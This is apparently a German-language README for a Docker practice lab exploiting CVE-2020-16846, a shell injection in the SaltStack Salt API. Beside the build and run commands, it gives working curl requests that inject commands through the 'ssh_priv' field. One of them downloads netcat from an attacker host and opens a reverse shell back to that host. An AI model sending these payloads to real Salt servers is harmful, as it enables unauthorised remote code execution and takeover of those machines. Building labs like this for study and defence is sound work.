
Docker-basierte Laborumgebung zur Ausnutzung von CVE-2020-16846, einer Shell-Injection-Sicherheitslücke in der SaltStack Salt API, mit Schritt-für-Schritt-Anleitungen zur Ausnutzung und Beispielen für Reverse-Shell-Payloads.
Erläuterung der Schwachstelle: In SaltStack Salt bis Version 3002 wurde eine Sicherheitslücke entdeckt. Durch das Senden präparierter Webanfragen an die Salt-API mit aktiviertem SSH-Client kann eine Shell-Injection ausgelöst werden. Details zu dieser Schwachstelle finden Sie hier:
Zu Übungs- und Lernzwecken habe ich beschlossen, eine verwundbare Instanz zu erstellen und auszunutzen.
Verwundbare Version: https://github.com/saltstack/salt/releases/tag/v3002
Getestet auf Ubuntu 20.04.03
Verwenden Sie die Dockerfile, um eine verwundbare Instanz in Docker zu erstellen.
Führen Sie salt_setup.sh aus, wenn Sie eine verwundbare Instanz auf einer Ubuntu-VM erstellen möchten.
docker build -t salt-image .
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

Reverse Shell
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
